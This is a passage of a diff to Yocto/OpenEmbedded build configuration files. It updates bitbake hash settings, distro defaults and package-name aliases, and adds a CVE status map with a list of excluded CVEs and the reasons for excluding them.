+BB_HASHCONFIG_IGNORE_VARS ?= "${BB_HASHEXCLUDE_COMMON} DATE TIME SSH_AGENT_PID \
+ SSH_AUTH_SOCK PSEUDO_BUILD BB_ENV_PASSTHROUGH_ADDITIONS DISABLE_SANITY_CHECKS \
PARALLEL_MAKE BB_NUMBER_THREADS BB_ORIGENV BB_INVALIDCONF BBINCLUDED \
GIT_PROXY_COMMAND ALL_PROXY all_proxy NO_PROXY no_proxy FTP_PROXY ftp_proxy \
HTTP_PROXY http_proxy HTTPS_PROXY https_proxy SOCKS5_USER SOCKS5_PASSWD \
- BB_SETSCENE_ENFORCE BB_CMDLINE BB_SERVER_TIMEOUT"
+ BB_SETSCENE_ENFORCE BB_CMDLINE BB_SERVER_TIMEOUT BB_NICE_LEVEL"
BB_SIGNATURE_EXCLUDE_FLAGS ?= "doc deps depends \
- lockfiles type vardepsexclude vardeps vardepvalue vardepvalueexclude \
- file-checksums python func task export unexport noexec nostamp dirs cleandirs \
+ lockfiles vardepsexclude vardeps vardepvalue vardepvalueexclude \
+ file-checksums python task nostamp \
sstate-lockfile-shared prefuncs postfuncs export_func deptask rdeptask \
recrdeptask nodeprrecs stamp-extra-info sstate-outputdirs filename lineno \
progress mcdepends number_threads"
+BB_HASH_CODEPARSER_VALS = "LOGFIFO=/ T=/ WORKDIR=/ DATE=1234 TIME=1234 PV=0.0-1 PN=no-pn METADATA_REVISION=1234 SRC_URI="
MLPREFIX ??= ""
MULTILIB_VARIANTS ??= ""
@@ -904,3 +984,10 @@ MULTILIB_VARIANTS ??= ""
# what it would be anyway if the signature generator (e.g. OEEquivHash) doesn't
# support unihashes.
BB_UNIHASH ?= "${BB_TASKHASH}"
+
+oe.sstatesig.find_sstate_manifest[vardepsexclude] = "BBEXTENDCURR BBEXTENDVARIANT OVERRIDES PACKAGE_EXTRA_ARCHS"
+oe.utils.get_multilib_datastore[vardepsexclude] = "DEFAULTTUNE_MULTILIB_ORIGINAL OVERRIDES"
+oe.path.format_display[vardepsexclude] = "TOPDIR"
+oe.utils.get_bb_number_threads[vardepsexclude] = "BB_NUMBER_THREADS"
+oe.packagedata.emit_pkgdata[vardepsexclude] = "BB_NUMBER_THREADS"
+oe.packagedata.read_subpkgdata_extended[vardepsexclude] = "BB_NUMBER_THREADS"
diff --git a/meta/conf/ccache.conf b/meta/conf/ccache.conf
index 931012dec9..4406ae561b 100644
--- a/meta/conf/ccache.conf
+++ b/meta/conf/ccache.conf
@@ -1,2 +1 @@
max_size = 0
-cache_dir_levels = 1
diff --git a/meta/conf/cve-check-map.conf b/meta/conf/cve-check-map.conf
new file mode 100644
index 0000000000..17b0f15571
--- /dev/null
+++ b/meta/conf/cve-check-map.conf
@@ -0,0 +1,28 @@
+# Possible options for CVE statuses
+
+# used by this class internally when fix is detected (NVD DB version check or CVE patch file)
+CVE_CHECK_STATUSMAP[patched] = "Patched"
+# use when this class does not detect backported patch (e.g. vendor kernel repo with cherry-picked CVE patch)
+CVE_CHECK_STATUSMAP[backported-patch] = "Patched"
+# use when NVD DB does not mention patched versions of stable/LTS branches which have upstream CVE backports
+CVE_CHECK_STATUSMAP[cpe-stable-backport] = "Patched"
+# use when NVD DB does not mention correct version or does not mention any verion at all
+CVE_CHECK_STATUSMAP[fixed-version] = "Patched"
+
+# used internally by this class if CVE vulnerability is detected which is not marked as fixed or ignored
+CVE_CHECK_STATUSMAP[unpatched] = "Unpatched"
+# use when CVE is confirmed by upstream but fix is still not available
+CVE_CHECK_STATUSMAP[vulnerable-investigating] = "Unpatched"
+
+# used for migration from old concept, do not use for new vulnerabilities
+CVE_CHECK_STATUSMAP[ignored] = "Ignored"
+# use when NVD DB wrongly indicates vulnerability which is actually for a different component
+CVE_CHECK_STATUSMAP[cpe-incorrect] = "Ignored"
+# use when upstream does not accept the report as a vulnerability (e.g. works as designed)
+CVE_CHECK_STATUSMAP[disputed] = "Ignored"
+# use when vulnerability depends on build or runtime configuration which is not used
+CVE_CHECK_STATUSMAP[not-applicable-config] = "Ignored"
+# use when vulnerability affects other platform (e.g. Windows or Debian)
+CVE_CHECK_STATUSMAP[not-applicable-platform] = "Ignored"
+# use when upstream acknowledged the vulnerability but does not plan to fix it
+CVE_CHECK_STATUSMAP[upstream-wontfix] = "Ignored"
diff --git a/meta/conf/distro/defaultsetup.conf b/meta/conf/distro/defaultsetup.conf
index 66fd246526..90b68057ad 100644
--- a/meta/conf/distro/defaultsetup.conf
+++ b/meta/conf/distro/defaultsetup.conf
@@ -2,11 +2,8 @@ include conf/distro/include/default-providers.inc
include conf/distro/include/default-versions.inc
include conf/distro/include/default-distrovars.inc
include conf/distro/include/maintainers.inc
-
-TCMODE ?= "default"
+include conf/distro/include/time64.inc
require conf/distro/include/tcmode-${TCMODE}.inc
-
-TCLIBC ?= "glibc"
require conf/distro/include/tclibc-${TCLIBC}.inc
require conf/distro/include/uninative-flags.inc
@@ -15,13 +12,10 @@ require conf/distro/include/uninative-flags.inc
TCLIBCAPPEND ?= "-${TCLIBC}"
TMPDIR .= "${TCLIBCAPPEND}"
-CACHE = "${TMPDIR}/cache/${TCMODE}-${TCLIBC}${@['', '/' + str(d.getVar('MACHINE'))][bool(d.getVar('MACHINE'))]}${@['', '/' + str(d.getVar('SDKMACHINE'))][bool(d.getVar('SDKMACHINE'))]}"
-
USER_CLASSES ?= ""
PACKAGE_CLASSES ?= "package_ipk"
-INHERIT_BLACKLIST = "blacklist"
-INHERIT_DISTRO ?= "debian devshell sstate license remove-libtool"
-INHERIT += "${PACKAGE_CLASSES} ${USER_CLASSES} ${INHERIT_DISTRO} ${INHERIT_BLACKLIST}"
+INHERIT_DISTRO ?= "debian devshell sstate license remove-libtool create-spdx"
+INHERIT += "${PACKAGE_CLASSES} ${USER_CLASSES} ${INHERIT_DISTRO}"
INIT_MANAGER ??= "none"
require conf/distro/include/init-manager-${INIT_MANAGER}.inc
diff --git a/meta/conf/distro/include/cve-extra-exclusions.inc b/meta/conf/distro/include/cve-extra-exclusions.inc
new file mode 100644
index 0000000000..fcef6a14fb
--- /dev/null
+++ b/meta/conf/distro/include/cve-extra-exclusions.inc
@@ -0,0 +1,84 @@
+# This file contains a list of CVE's where resolution has proven to be impractical
+# or there is no reasonable action the Yocto Project can take to resolve the issue.
+# It contains all the information we are aware of about an issue and analysis about
+# why we believe it can't be fixed/handled. Additional information is welcome through
+# patches to the file.
+#
+# Include this file in your local.conf or distro.conf to exclude these CVE's
+# from the cve-check results or add to the bitbake command with:
+# -R conf/distro/include/cve-extra-exclusions.inc
+#
+# The file is not included by default since users should review this data to ensure
+# it matches their expectations and usage of the project.
+#
+# We may also include "in-flight" information about current/ongoing CVE work with
+# the aim of sharing that work and ensuring we don't duplicate it.
+#
+
+# strace https://nvd.nist.gov/vuln/detail/CVE-2000-0006
+CVE_STATUS[CVE-2000-0006] = "upstream-wontfix: CVE is more than 20 years old \
+with no resolution evident. Broken links in CVE database references make resolution impractical."
+
+# epiphany https://nvd.nist.gov/vuln/detail/CVE-2005-0238
+CVE_STATUS[CVE-2005-0238] = "upstream-wontfix: \
+The issue here is spoofing of domain names using characters from other character sets. \
+There has been much discussion amongst the epiphany and webkit developers and \
+whilst there are improvements about how domains are handled and displayed to the user \
+there is unlikely ever to be a single fix to webkit or epiphany which addresses this \
+problem. There isn't any mitigation or fix or way to progress this further."
+
+# glibc https://nvd.nist.gov/vuln/detail/CVE-2010-4756
+CVE_STATUS[CVE-2010-4756] = "upstream-wontfix: \
+Issue is memory exhaustion via glob() calls, e.g. from within an ftp server \
+Best discussion in https://bugzilla.redhat.com/show_bug.cgi?id=681681 \
+Upstream don't see it as a security issue, ftp servers shouldn't be passing \
+this to libc glob. Upstream have no plans to add BSD's GLOB_LIMIT or similar."
+
+# go https://nvd.nist.gov/vuln/detail/CVE-2020-29509
+# go https://nvd.nist.gov/vuln/detail/CVE-2020-29511
+CVE_STATUS_GROUPS += "CVE_STATUS_GO"
+CVE_STATUS_GO = "CVE-2020-29509 CVE-2020-29511"
+CVE_STATUS_GO[status] = "not-applicable-config: \
+The encoding/xml package in go can potentially be used for security exploits if not used correctly \
+CVE applies to a netapp product as well as flagging a general issue. We don't ship anything \
+exposing this interface in an exploitable way"
+
+# db
+CVE_STATUS_GROUPS += "CVE_STATUS_DB"
+CVE_STATUS_DB = "CVE-2015-2583 CVE-2015-2624 CVE-2015-2626 CVE-2015-2640 CVE-2015-2654 \
+CVE-2015-2656 CVE-2015-4754 CVE-2015-4764 CVE-2015-4774 CVE-2015-4775 CVE-2015-4776 CVE-2015-4777 \
+CVE-2015-4778 CVE-2015-4779 CVE-2015-4780 CVE-2015-4781 CVE-2015-4782 CVE-2015-4783 CVE-2015-4784 \
+CVE-2015-4785 CVE-2015-4786 CVE-2015-4787 CVE-2015-4788 CVE-2015-4789 CVE-2015-4790 CVE-2016-0682 \
+CVE-2016-0689 CVE-2016-0692 CVE-2016-0694 CVE-2016-3418 CVE-2020-2981"
+CVE_STATUS_DB[status] = "upstream-wontfix: Since Oracle relicensed bdb, the open source community is slowly but surely \
+replacing bdb with supported and open source friendly alternatives. As a result this CVE is unlikely to ever be fixed."
+
+# Kernel CVEs that are generic but can't be added to the kernel's hand-maintained cve-exclusion.inc
+# or machine-maintained cve-exclusion_VERSION.inc files, such as issues that describe TCP/IP design
+# flaws or processor-specific exploits that can't be mitigated.
+#
+# For OE-Core our policy is to stay as close to the kernel stable releases as we can. This should
+# ensure the bulk of the major kernel CVEs are fixed and we don't dive into each individual issue
+# as the stable maintainers are much more able to do that.
+CVE_STATUS[CVE-1999-0524] = "ignored: issue is that ICMP exists, can be filewalled if required"
+CVE_STATUS[CVE-2008-4609] = "ignored: describes design flaws in TCP"
+CVE_STATUS[CVE-2010-4563] = "ignored: low impact, only enables detection of hosts which are sniffing network traffic"
+CVE_STATUS[CVE-2011-0640] = "ignored: requires physical access and any mitigation would mean USB is impractical to use"
+
+# qemu:qemu-native:qemu-system-native https://nvd.nist.gov/vuln/detail/CVE-2021-20255
+CVE_STATUS[CVE-2021-20255] = "upstream-wontfix: \
+There was a proposed patch https://lists.gnu.org/archive/html/qemu-devel/2021-02/msg06098.html \
+qemu maintainers say the patch is incorrect and should not be applied \
+The issue is of low impact, at worst sitting in an infinite loop rather than exploitable."
+
+# qemu:qemu-native:qemu-system-native https://nvd.nist.gov/vuln/detail/CVE-2019-12067
+CVE_STATUS[CVE-2019-12067] = "upstream-wontfix: \
+There was a proposed patch but rejected by upstream qemu. It is unclear if the issue can \
+still be reproduced or where exactly any bug is. \
+We'll pick up any fix when upstream accepts one."
+
+# nasm:nasm-native https://nvd.nist.gov/vuln/detail/CVE-2020-18974
+CVE_STATUS[CVE-2020-18974] = "upstream-wontfix: \
+It is a fuzzing related buffer overflow. It is of low impact since most devices \
+wouldn't expose an assembler. The upstream is inactive and there is little to be \
+done about the bug, ignore from an OE perspective."
diff --git a/meta/conf/distro/include/default-distrovars.inc b/meta/conf/distro/include/default-distrovars.inc
index 433d4b6651..7554081e8b 100644
--- a/meta/conf/distro/include/default-distrovars.inc
+++ b/meta/conf/distro/include/default-distrovars.inc
@@ -4,18 +4,31 @@ OEINCLUDELOGS ?= "yes"
KERNEL_CONSOLE ?= "ttyS0"
KEEPUIMAGE ??= "yes"
-IMAGE_LINGUAS ?= "en-us en-gb"
+DEFAULT_IMAGE_LINGUAS = "en-us en-gb"
+DEFAULT_IMAGE_LINGUAS:libc-glibc = "c en-us en-gb"
+IMAGE_LINGUAS ?= "${DEFAULT_IMAGE_LINGUAS}"
+
ENABLE_BINARY_LOCALE_GENERATION ?= "1"
LOCALE_UTF8_ONLY ?= "0"
LOCALE_UTF8_IS_DEFAULT ?= "1"
-LOCALE_UTF8_IS_DEFAULT_class-nativesdk = "0"
+LOCALE_UTF8_IS_DEFAULT:class-nativesdk = "0"
+
+# seccomp is not yet ported to rv32
+DISTRO_FEATURES_DEFAULT:remove:riscv32 = "seccomp"
+
+# seccomp is not yet ported to ARC
+DISTRO_FEATURES_DEFAULT:remove:arc = "seccomp"
-DISTRO_FEATURES_DEFAULT ?= "acl alsa argp bluetooth ext2 ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11 vfat"
+# seccomp is not yet ported to microblaze
+DISTRO_FEATURES_DEFAULT:remove:microblaze = "seccomp"
+
+# seccomp is not yet ported to loongarch64
+DISTRO_FEATURES_DEFAULT:remove:loongarch64 = "seccomp"
+
+DISTRO_FEATURES_DEFAULT ?= "acl alsa bluetooth debuginfod ext2 ipv4 ipv6 pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11 vfat seccomp"
DISTRO_FEATURES ?= "${DISTRO_FEATURES_DEFAULT}"
IMAGE_FEATURES ?= ""
-WHITELIST_GPL-3.0 ?= ""
-
COMMERCIAL_AUDIO_PLUGINS ?= ""
# COMMERCIAL_AUDIO_PLUGINS ?= "gst-plugins-ugly-mad gst-plugins-ugly-mpegaudioparse"
COMMERCIAL_VIDEO_PLUGINS ?= ""
@@ -39,13 +52,13 @@ GTK2DISTROFEATURES = "directfb x11"
GTK3DISTROFEATURES = "x11 wayland"
ARCH_DEFAULT_KERNELIMAGETYPE = "zImage"
-ARCH_DEFAULT_KERNELIMAGETYPE_x86 = "bzImage"
-ARCH_DEFAULT_KERNELIMAGETYPE_x86-64 = "bzImage"
+ARCH_DEFAULT_KERNELIMAGETYPE:x86 = "bzImage"
+ARCH_DEFAULT_KERNELIMAGETYPE:x86-64 = "bzImage"
KERNEL_IMAGETYPE ??= "${ARCH_DEFAULT_KERNELIMAGETYPE}"
KERNEL_IMAGETYPES ??= "${KERNEL_IMAGETYPE}"
# The CONNECTIVITY_CHECK_URIS are used to test whether we can succesfully
# fetch from the network (and warn you if not). To disable the test set
# the variable to be empty.
-# Git example url: git://git.yoctoproject.org/yocto-firewall-test;protocol=git;rev=master
-CONNECTIVITY_CHECK_URIS ?= "https://www.example.com/"
+# Git example url: git://git.yoctoproject.org/yocto-firewall-test;protocol=git;rev=master;branch=master
+CONNECTIVITY_CHECK_URIS ?= "https://yoctoproject.org/connectivity.html"
diff --git a/meta/conf/distro/include/default-providers.inc b/meta/conf/distro/include/default-providers.inc
index ea88bd4876..d18173c744 100644
--- a/meta/conf/distro/include/default-providers.inc
+++ b/meta/conf/distro/include/default-providers.inc
@@ -5,10 +5,12 @@ PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/xserver-xf86 ?= "xserver-xorg"
PREFERRED_PROVIDER_virtual/egl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
+PREFERRED_PROVIDER_virtual/libglx ?= "mesa"
PREFERRED_PROVIDER_virtual/libgl-native ?= "mesa-native"
PREFERRED_PROVIDER_virtual/nativesdk-libgl ?= "nativesdk-mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
PREFERRED_PROVIDER_virtual/mesa ?= "mesa"
PREFERRED_PROVIDER_virtual/update-alternatives ?= "opkg-utils"
PREFERRED_PROVIDER_virtual/update-alternatives-native ?= "opkg-utils-native"
@@ -22,7 +24,6 @@ PREFERRED_PROVIDER_virtual/make-native ?= "make-native"
# Default virtual runtime providers
#
VIRTUAL-RUNTIME_update-alternatives ?= "update-alternatives-opkg"
-VIRTUAL-RUNTIME_apm ?= "apm"
VIRTUAL-RUNTIME_alsa-state ?= "alsa-state"
VIRTUAL-RUNTIME_getopt ?= "util-linux-getopt"
VIRTUAL-RUNTIME_base-utils ?= "busybox"
diff --git a/meta/conf/distro/include/default-versions.inc b/meta/conf/distro/include/default-versions.inc
index a6f331350e..a88b65a74c 100644
--- a/meta/conf/distro/include/default-versions.inc
+++ b/meta/conf/distro/include/default-versions.inc
@@ -1,4 +1,3 @@
#
# Default preferred versions
#
-
diff --git a/meta/conf/distro/include/distro_alias.inc b/meta/conf/distro/include/distro_alias.inc
index 2f9e1b1132..e6131c815a 100644
--- a/meta/conf/distro/include/distro_alias.inc
+++ b/meta/conf/distro/include/distro_alias.inc
@@ -5,399 +5,382 @@
#
# The format is as a bitbake variable override for each recipe
#
-# DISTRO_PN_ALIAS_pn-<recipe name> = "Distro1=<pkgname> Distro2=<pkgname>"
+# DISTRO_PN_ALIAS:pn-<recipe name> = "Distro1=<pkgname> Distro2=<pkgname>"
#
# Please keep this list in alphabetical order.
#
-DISTRO_PN_ALIAS_pn-alsa-state = "OE-Core"
-DISTRO_PN_ALIAS_pn-alsa-utils-alsaconf = "OE-Core"
-DISTRO_PN_ALIAS_pn-alsa-utils-scripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-atk = "Fedora=atk OpenSuSE=atk"
-DISTRO_PN_ALIAS_pn-avahi-ui = "Ubuntu=avahi-discover Debian=avahi-discover"
-DISTRO_PN_ALIAS_pn-babeltrace = "OSPDT"
-DISTRO_PN_ALIAS_pn-babeltrace2 = "OSPDT"
-DISTRO_PN_ALIAS_pn-bjam = "OpenSuSE=boost-jam Debian=bjam"
-DISTRO_PN_ALIAS_pn-blktool = "Debian=blktool Mandriva=blktool"
-DISTRO_PN_ALIAS_pn-bluez5 = "Fedora=bluez Opensuse=bluez"
-DISTRO_PN_ALIAS_pn-bootchart2 = "Fedora=bootchart2 Opensuse=bootchart"
-DISTRO_PN_ALIAS_pn-btrfs-tools = "Debian=btrfs-tools Fedora=btrfs-progs"
-DISTRO_PN_ALIAS_pn-build-appliance-image = "OSPDT"
-DISTRO_PN_ALIAS_pn-build-compare = "Opensuse=build-compare Fedora=build-compare"
-DISTRO_PN_ALIAS_pn-builder = "OE-Core"
-DISTRO_PN_ALIAS_pn-buildtools-tarball = "OE-Core"
-DISTRO_PN_ALIAS_pn-cdrtools = "OpenSUSE=cdrtools OSPDT"
-DISTRO_PN_ALIAS_pn-chkconfig-alternatives = "Mandriva=chkconfig Debian=chkconfig"
-DISTRO_PN_ALIAS_pn-clutter = "Fedora=clutter OpenSuse=clutter Ubuntu=clutter-1.0 Mandriva=clutter Debian=clutter"
-DISTRO_PN_ALIAS_pn-clutter-1.8 = "Fedora=clutter OpenSuse=clutter Ubuntu=clutter-1.0 Mandriva=clutter Debian=clutter"
-DISTRO_PN_ALIAS_pn-clutter-gst-1.0 = "Debian=clutter-gst Ubuntu=clutter-gst Fedora=clutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gst-1.8 = "Fedora=clutter-gst Debian=libclutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gst-3.0 = "Ubuntu=libclutter-gst Debian=libclutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gtk-1.0 = "Debian=clutter-gtk Ubuntu=clutter-gtk Fedora=clutter-gtk"
-DISTRO_PN_ALIAS_pn-clutter-gtk-1.8 = "Fedora=clutter-gtk OpenSuSE=clutter-gtk Ubuntu=clutter-gtk-0.10 Mandriva=clutter-gtk Debian=clutter-gtk"
-DISTRO_PN_ALIAS_pn-cogl-1.0 = "Debian=cogl Ubuntu=cogl Fedora=cogl"
-DISTRO_PN_ALIAS_pn-cogl = "Fedora=cogl OpenSuse=cogl Ubuntu=cogl Mandriva=cogl Debian=cogl"
-DISTRO_PN_ALIAS_pn-connman = "Meego=connman"
-DISTRO_PN_ALIAS_pn-connman-conf = "OE-Core"
-DISTRO_PN_ALIAS_pn-connman-gnome = "Intel"
-DISTRO_PN_ALIAS_pn-console-tools = "Debian=console-tools Ubuntu=console-tools"
-DISTRO_PN_ALIAS_pn-core-image-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-clutter = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-full-cmdline = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-kernel-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-initramfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-mtdutils = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-rt = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-rt-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-testmaster = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-testmaster-initramfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-weston = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-x11 = "OE-Core"
-DISTRO_PN_ALIAS_pn-createrepo-c = "Fedora=createrepo_c Clear=createrepo_c"
-DISTRO_PN_ALIAS_pn-cross-localedef = "OSPDT"
-DISTRO_PN_ALIAS_pn-cryptodev-linux = "OE-Core"
-DISTRO_PN_ALIAS_pn-cryptodev-module = "OE-Core"
-DISTRO_PN_ALIAS_pn-cryptodev-tests = "OE-Core"
-DISTRO_PN_ALIAS_pn-cwautomacros = "OSPDT upstream=http://cwautomacros.berlios.de/"
-DISTRO_PN_ALIAS_pn-db = "Debian=db5.1 Ubuntu=db5.1"
-DISTRO_PN_ALIAS_pn-dbus-test = "Fedora=dbus Ubuntu=dbus"
-DISTRO_PN_ALIAS_pn-dbus-wait = "OpenedHand"
-DISTRO_PN_ALIAS_pn-depmodwrapper-cross = "OE-Core"
-DISTRO_PN_ALIAS_pn-distcc = "Debian=distcc Fedora=distcc"
-DISTRO_PN_ALIAS_pn-distcc-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-docbook-dsssl-stylesheets = "Fedora=docbook-style-dsssl Ubuntu=docbook-dsssl"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-3.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd31-sgml"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-4.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd41-sgml"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-4.5 = "Fedora=docbook-dtds Mandriva=docbook-dtd42-sgml"
-DISTRO_PN_ALIAS_pn-docbook-xml-dtd4 = "Ubuntu=docbook-xml Fedora=docbook-dtds"
-DISTRO_PN_ALIAS_pn-docbook-xml-dtd4-native = "Ubuntu=docbook-xml Fedora=docbook-dtds"
-DISTRO_PN_ALIAS_pn-docbook-xsl-stylesheets = "Fedora=docbook-xsl-stylesheets Opensuse=docbook-xsl-stylesheets"
-DISTRO_PN_ALIAS_pn-dropbear = "Debian=dropbear Ubuntu=dropbear"
-DISTRO_PN_ALIAS_pn-dtc = "Fedora=dtc Ubuntu=dtc"
-DISTRO_PN_ALIAS_pn-encodings = "Ubuntu=xfonts-encodings Mandriva=x11-font-encodings Debian=xfonts-encodings"
-DISTRO_PN_ALIAS_pn-font-alias = "Fedora=xorg-x11-fonts-base Mandriva=x11-font-alias Meego=xorg-x11-fonts"
-DISTRO_PN_ALIAS_pn-font-util = "Meego=xorg-x11-font-utils Fedora=xorg-x11-font-utils Ubuntu=xfonts-utils Mandriva=x11-font-util Debian=xfonts-utils"
-DISTRO_PN_ALIAS_pn-formfactor = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-cross-initial = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-cross-initial-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-crosssdk-initial = "OE-Core"
-DISTRO_PN_ALIAS_pn-gcc-crosssdk-initial-x86_64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-gccmakedep = "Mandriva=gccmakedep Ubuntu=xutils-dev"
-DISTRO_PN_ALIAS_pn-gcc-runtime = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gcc-sanitizers = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gcc-source = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gconf-dbus = "Meego=GConf-dbus"
-DISTRO_PN_ALIAS_pn-gdk-pixbuf = "Debian=libgdk-pixbuf2.0 Fedora=gdk-pixbuf"
-DISTRO_PN_ALIAS_pn-gdk-pixbuf-csource = "Debian=libgdk-pixbuf2.0-0 Fedora=gdk-pixbuf2"
-DISTRO_PN_ALIAS_pn-gettext-minimal = "Debian=gettext Fedora=gettext"
-DISTRO_PN_ALIAS_pn-glib-2.0 = "Meego=glib2 Fedora=glib2 OpenSuSE=glib2 Ubuntu=glib2.0 Mandriva=glib2.0 Debian=glib2.0"
-DISTRO_PN_ALIAS_pn-glibc-locale = "OpenSuSE=glibc-locale Fedora=glibc-devel"
-DISTRO_PN_ALIAS_pn-glibc-mtrace = "Fedora=glibc-utils Ubuntu=libc-dev-bin"
-DISTRO_PN_ALIAS_pn-glibc-scripts = "Fedora=glibc Ubuntu=libc-bin"
-DISTRO_PN_ALIAS_pn-gnome-desktop-testing = "Debian=gnome-desktop-testing Fedora=gnome-desktop-testing"
-DISTRO_PN_ALIAS_pn-gnu-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-gptfdisk = "Fedora=gdisk Ubuntu=gdisk"
-DISTRO_PN_ALIAS_pn-grub-efi = "Debian=grub-efi Fedora=grub2-efi"
-DISTRO_PN_ALIAS_pn-gst-player = "Ubuntu=gst-player Fedora=gstreamer-player"
-DISTRO_PN_ALIAS_pn-gst-plugin-bluetooth = "Ubuntu=libgstreamer-plugins-base Fedora=gstreamer-plugins-base"
-DISTRO_PN_ALIAS_pn-gstreamer1.0 = "Debian=gstreamer1.0 Ubuntu=gstreamer1.0"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-meta-base = "Meego=gstreamer Fedora=gstreamer OpenSuSE=gstreamer Ubuntu=gstreamer0.10"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-bad = "Debian=gstreamer1.0-plugins-bad Ubuntu=gstreamer1.0-plugins-bad"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-base = "Debian=gstreamer1.0-plugins-base Ubuntu=gstreamer1.0-plugins-base"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-good = "Debian=gstreamer1.0-plugins-good Ubuntu=gstreamer1.0-plugins-bad"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-rtsp-server = "Ubuntu=gstreamer0.10-rtsp Fedora=gstreamer-rtsp"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-vaapi = "Fedora=gstreamer1-vaapi Debian=gstreamer-vaapi Clear=gstreamer-vaapi"
-DISTRO_PN_ALIAS_pn-gtk+ = "Meego=gtk2 Fedora=gtk2 OpenSuSE=gtk2 Ubuntu=gtk+2.0 Mandriva=gtk+2.0 Debian=gtk+2.0"
-DISTRO_PN_ALIAS_pn-gtk+3 = "Ubuntu=gtk+3.0 Debian=gtk+3.0 Fedora=gtk3"
-DISTRO_PN_ALIAS_pn-gtk-doc = "Fedora=gtk-doc Ubuntu=gtk-doc"
-DISTRO_PN_ALIAS_pn-gtk-engines = "Fedora=gtk2-engines OpenSuSE=gtk2-engines Ubuntu=gtk2-engines Mandriva=gtk-engines2 Debian=gtk2-engines"
-DISTRO_PN_ALIAS_pn-gtk-sato-engine = "OpenedHand"
-DISTRO_PN_ALIAS_pn-gtk-icon-utils-native = "OSPDT"
-DISTRO_PN_ALIAS_pn-systemd-boot = "Ubuntu=systemd-boot Fedora=systemd-boot"
-DISTRO_PN_ALIAS_pn-hello-mod = "OE-Core"
-DISTRO_PN_ALIAS_pn-hwlatdetect = "OSPDT"
-DISTRO_PN_ALIAS_pn-icecc-create-env = "OE-Core"
-DISTRO_PN_ALIAS_pn-init-ifupdown = "Debian=ifupdown Ubuntu=ifupdown"
-DISTRO_PN_ALIAS_pn-initramfs-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-framework = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-efi = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-efi-testfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-testfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-initscripts = "Fedora=initscripts Mandriva=initscripts"
-DISTRO_PN_ALIAS_pn-iproute2 = "OSPDT"
-DISTRO_PN_ALIAS_pn-jpeg = "OpenSuSE=libjpeg Ubuntu=libjpeg62"
-DISTRO_PN_ALIAS_pn-kernel-devsrc = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-kern-tools-native = "Windriver"
-DISTRO_PN_ALIAS_pn-keymaps = "OE-Core"
-DISTRO_PN_ALIAS_pn-kf = "OSPDT"
-DISTRO_PN_ALIAS_pn-lame = "Debian=lame Ubuntu=lame"
-DISTRO_PN_ALIAS_pn-ldconfig-native = "Ubuntu=libc-bin Fedora=glibc"
-DISTRO_PN_ALIAS_pn-liba52 = "Mandriva=a52dec Debian=a52dec"
-DISTRO_PN_ALIAS_pn-libacpi = "Ubuntu=libacpi Mandriva=libacpi"
-DISTRO_PN_ALIAS_pn-libatomics-ops = "Meego=libatomic-ops Debian=libatomic-ops Ubuntu=libatomic-ops OpenSuSE=libatomic-ops Mandriva=libatomic-ops"
-DISTRO_PN_ALIAS_pn-libcgroup = "Ubuntu=libcgroup1 Debian=libcgroup1"
-DISTRO_PN_ALIAS_pn-libcheck = "Ubuntu=check Fedora=check OpenSuSE=check"
